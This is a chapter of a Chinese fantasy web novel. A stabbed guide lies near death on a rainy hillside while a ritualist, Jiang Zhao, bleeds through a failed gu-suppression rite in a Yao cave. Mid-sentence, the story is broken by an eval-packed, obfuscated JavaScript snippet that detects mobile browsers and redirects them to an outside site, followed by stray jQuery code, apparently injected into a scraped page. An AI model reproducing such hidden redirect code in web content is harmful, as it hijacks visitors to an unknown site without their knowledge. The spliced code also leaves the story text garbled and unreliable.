死亡是生命的终点。
覃序南时常在想,死亡的那一边会是些什么,会有传说中拉着锁链的黑白无常和奈何桥上的孟婆吗?
但从来没人能给出确切答案,因为死亡就意味着与生的永别。
被刀捅进脖子的时候,他第一个感受是好冰,只能说冷兵器不愧称为冷兵器,接着铺天盖地的疼痛从脖子弥漫到全身,这种疼痛让他忍不住想挣扎,但是根本就没有力气,只能像个尸体一样瘫在地上,不对,自己应该已经是尸体了。
蒋昭的手抚上他的眼睛,那只手也冰凉地想让他打颤,人的手会是这么冰凉的温度吗?
到最后,覃序南就处在一个看也看不见、动也动不了的境地。
蒋昭的声音也慢慢地远去了,周围的那些村民说着完全听不懂的话。
他被人重重扔在了一个斜坡上,顺着重力一路往下滚,直到撞到了一块大石头,卡在了斜坡上。
周边除了雨声,都安安静静的,覃序南感觉自己被这个世界抛弃了,他脑子里开始联想——浓稠的黑暗中躺着一具逐渐僵直的尸体,它会被山中的微生物分解,最后只留下一身骨头,在来往的生命中反复踩踏。
没想到自己最终是在这样的地方死去,雨水从他的眼角划过,又流入土地里,就像是自己在一直不停地流泪。
覃序南突然想到了覃堂最后在病床前握住自己手说的最后一句话——南南,就像我从小跟你说的那样,你不要害怕,努力活下去,好好活着,我和你妈妈都很爱你,好好活着。
回想了自己这26年来的点点滴滴,覃序南在意的好像也就几样东西——
小时候覃堂自己手工做的木枪,让自己变成了一众伙伴的领头人,风光了好一会儿。
覃堂临终前留给自己的两个戒指,是夫妻两个人的定情信物,后来被他自己拿了根开了光的红绳串了起来当做项链。
……
以及,那位蒋小姐掉落的耳坠,还在自己怀里。
想到这,他在心里叹了口气,好可惜,自己还有那么多地方没去看过呢。
覃堂还活着的时候,自己就一直挺麻烦别人的,覃堂挣了好多钱也是为了找那些能人异士给自己续命,每次看到他弯着腰求那些大师的时候,心里总有种说不出口的别扭,不否认覃堂真的很爱自己,但覃序南真的非常讨厌这种自己给别人造成了很多麻烦的感觉。
之前毕业到了广西,已经够麻烦家里的了,亲戚也有自己的生活,于是也没用家里的钱,他一直靠接画稿挣钱去找那些奇奇怪怪的事情,这样做了三年,知道了半山当铺,但也找不到地方。
有一天,他画完那个单子最后一幅画的时候,看了看窗外的远山,突然有一种想出去走走的想法,既然三年都找不到,那至少这剩下的日子多去外面看看吧,于是,他成为了一名向导。
雨下个不停,他的头发被雨水紧紧地贴在额头上,还有几缕戳到了自己的眼睛,很痒,等等,为什么自己死了还能感受到痒意,难道现在自己是个活死人吗?
******
一阵脚步声在耳边响了起来,覃序南心里不自主地乱想:不会是他们觉得全尸会被人发现,于是现在干脆过来把我给分成碎片再分别扔了吧。
这个人发出的声音断断续续的,在周围转来转去地踩着掉落在地上的树枝,不知道在搜寻着什么。
突然,声音停了下来,来人把覃序南从石头那扒拉了出来,拖到了一棵树下面,用粗糙的手擦干净了他的脸。
是一位年长的婆婆,看到擦干净了的脸,她突然呜呜呜哭了起来,边哭边在旁边说着什么小楠。
覃序南神秘的婆婆摸了摸他的脸,有几滴泪掉在了他的脸上,温热滚烫。
接着,那个婆婆用毛巾把覃序南身上的泥浆擦了擦,结果越擦越多,她的哭声又起来了。
婆婆从自己怀里掏出来一串手链,银质的,颤颤巍巍地戴在了覃序南的手上,原地呆了几秒,把覃序南重新放回了地上,拿出出门前拿的铁锹,开始在旁边挖坑。
挖坑,覃序南一惊,她不会是要把我埋进土里吧。
******
蒋昭刚进洞,里面漆黑一片,什么也看不见,忘记带蜡烛了,她把衣服掀开,在最里面的裤子口袋里拿出了手机,把手机打开手电筒背面朝上放在了地上。
整个洞开始稍微亮堂起来,隔绝了外面的雨声,和之前那个祠堂给人的感觉一模一样,压抑、空洞、死寂。
瑶洞的内壁非常光滑,摸上去没有任何缝隙,宛若人工,地面上则非常平坦,摸上去没有一点泥土屑。
蒋昭把三根虫香用火柴点燃,用力地插在了地上,烟一路向上飘荡,在上空缭绕了一圈又一圈,渐渐地变稀薄。
她拿着还没擦过血的刀在自己额头红点的地方划了一道,接着是脖子、手腕和手掌,这次的伤口却完全没有快速愈合的趋势,甚至一直在往外出血。
她闭上了眼睛。
******
洞中的华服祭者,双足踮起,前后分立,双手抚在额间,被衣袖遮住的嘴角微微弯起,念着一连串晦涩的音节,围着插在地上的虫香开始起舞。
动作摆动间,腰上的铃声清脆,从瑶洞里传遍了整座山,听到的村民都闭上眼垂下头用自己的语言念着些什么。
血一滴一滴从蒋昭划开的伤口里落下来,有些爬过衣服,有些趟过身体,都往地下渗进去,她的脸色越来越苍白,衬着头上的红点更加艳丽。
一群虫子不知道从洞中的哪里爬了出来,颜色各异,种类各异,密密麻麻地爬满了洞壁的顶部,眼睛发着光,就那样诡异地盯着下面的祭者。
蒋昭念完最后一个字,趁虫香快熄灭前睁开了眼睛,又点了三根虫香插到地里,这才松了一口气往上看。
那群虫子突然躁动,互相踩踏起来,趁蒋昭没注意,一只长得和枝枝一模一样的虫子从她背后的虫群中飞了出来,径直飞向她的脖子。
听到一阵细微的翅膀扇动声,蒋昭身子一歪,右手拿着匕首掷了出去,正好把那只虫子钉在了洞壁上,头顶的虫子开始发出莫名的噪音,又一下子如潮水般退去了。
她摸了摸自己的脖子,上面那个伤口还在,拔起了匕首,那只已经死掉的虫子落了地上,她靠近用刀前后摆弄了一下,那只虫子真的无论从什么地方看都和枝枝长得一模一样。
她在瑶洞里等了好一会儿,但伤口迟迟愈合不了,这就说明镇蛊还没完成。
蒋昭又重新点上了三根虫香,伤口依旧没有发生什么变化,还在往下渗血。很快,带来的虫香用完了,蒋昭环顾了一下四周,决定还是先出去再说。
******
盘昌听到了阿爸说过的祭铃声,垂下头的时候心里松了一口气,这一甲子的镇蛊又要过去了,很好,没出什么不好的事情。
但铃声响过之后,镇蛊人一直没有出来,这就完全不对劲了。
盘昌在外面等了一个多小时,快要忍不住进洞的时候,才看到镇蛊人从瑶洞里钻了出来,但她的样子却把同样在外面等着的盘锦吓得叫了一声。
一个女人顶着满脸的血,因为下雨,血从脸上一路流到脖子上,红色的一片,整套衣袍因为吸收不了血,衣角在一滴一滴往下掉血,蒋昭抹了一把脸,脸上的血迹更吓人了。
盘昌撑着伞赶紧上前给她遮雨:“镇蛊人,是出什么事了?镇蛊失败了吗?你身上的血又是怎么回事?”
蒋昭又尝试在手掌上直接画符,符是画完了,但完全没什么用,血还在慢慢流出来。
她只好说:“出了个问题,止不住血了,你那有虫符纸吗?或者其他的符纸也都可以,我先止个血。”
虫符纸是酿鬼人这一脉专门制作出来用于承载一些符文力量的容器,和自己的命蛊一起画更
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15631041|172560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能产生更大的力量,发挥出符文更完整的效应。
看着跟个血人一样的镇蛊人,盘昌心里紧张起来,赶紧想了一圈,符纸符纸,这是用来写符的纸张,但瑶族的符从来不用载体,都是直接画,符纸这个东西盘昌只听到过,完全没亲眼见过,更不用说虫符纸这种单类了。
婆婆在旁边说了几句,盘昌听着松了一口气,翻译道:“婆婆说上一代镇蛊人来的时候有留下几张符纸,但不知道是不是您要的虫符纸。”
几个人回到了村子里,婆婆从房间里找出了四张符纸,递给了蒋昭。
蒋昭把符纸正反看了一眼,幸好幸好,就是虫符纸。
但只有四张,自己身上却有六个伤口,她把其中三张符分别撕成了两半,用手指蘸了蘸自己的血开始画缩小版的循环符。
把符全部贴上伤口,血终于不流了,但蒋昭知道这都是暂时的,符只是让血不再流出来,但在伤口里面,血还在不停流出,又被符送回去,俗称循环流动。
蒋昭脱下了外面的衣袍,擦了擦脸上的血,这才把盘昌叫了进来。
“前几代有这事出现吗?”
盘昌严肃地摇了摇头:“前几代没有任何不对劲的地方,直到,您这一代,出现的不对劲的地方挺多的。”
蒋昭想了一下:“你们村子里记载的那些前几代镇蛊人的资料能给我查阅一下吗?”
盘昌对外说了几句话,不一会儿就有人拿着基本厚厚的书走了进来,蒋昭翻开一看,又关上,然后又翻开,很好,不是我能认识的东西。
盘昌这才反应过来:“镇蛊人,我们瑶族自古以来是没有自己的文字的,这一本是前人画的,从这本开始就是正常的汉族文字了。”
翻开盘昌递过来的那本册子,蒋昭翻开来,松了一口气,笑容又回到了脸上,果然已经是稍微看得懂一些的文字了。
这间屋子里放进了很多蜡烛,烛火通明,蒋昭快速在翻着册子,盘昌安静地退出去,顺手关上了门。
外面的婆婆问了一句怎么样了,盘昌摇了摇头,表示情况并不太好,果然,阿爸之前预测的话都是正确的,自从上次族人叛逃之后,就意味着这一甲子的镇蛊会有不祥之兆。
他在门口焦急地踱来踱去,怎么会这样,先祖流传下来的东西里也完全没提到关于这方面的。
******
华服点彩,六处引血,虫香唱词,酿鬼命蛊。
前几代酿鬼人都是这样做的,从来没有出现过血流不止的情况,甚至就连那只袭击的虫子都没有出现。
蒋昭合上了最后一本册子,闭了闭眼,再睁眼,就把表情调成了严肃的样子。
“我没找到任何东西。”
盘昌抬头看了看天,这次的祭时早就已经过完了,他谨慎地提出了一个建议:“要不镇蛊人您在村子里住几天,我这边再去翻翻资料,等下个祭时您再重新镇一遍。”
蒋昭摇了摇头:“再镇一遍可以,但住在村里就不用了。”
她顿了几秒,又接着说:“下一个祭时我没来的话,那就下下个祭时,我先去找找止血的办法。”
******
雨停了,盘昌把人送到村口,还想继续把镇蛊人送到她来时的那个山肠洞口,蒋昭拒绝了这个想法。
蒋昭自己走了一段山路,等回头看见盘昌进村的背影,她停下来跳上了旁边的一棵树,开始感应自己的命蛊位置。
在东南方。
她下树往东南方极速跑过去,等跟着位置到了那,是一个小山坡,但奇怪的是,这里没人。
枝枝的定位在这,但为什么“尸体”不见了?
蒋昭蹲下身子,把右手放在了地上,察觉到正确位置之后不禁苦笑起来。
有人给他埋起来了?这让自己怎么挖出来?徒手吗?
她被迫又偷偷回了村里,顺走了一户人家放在门背后的铁锹。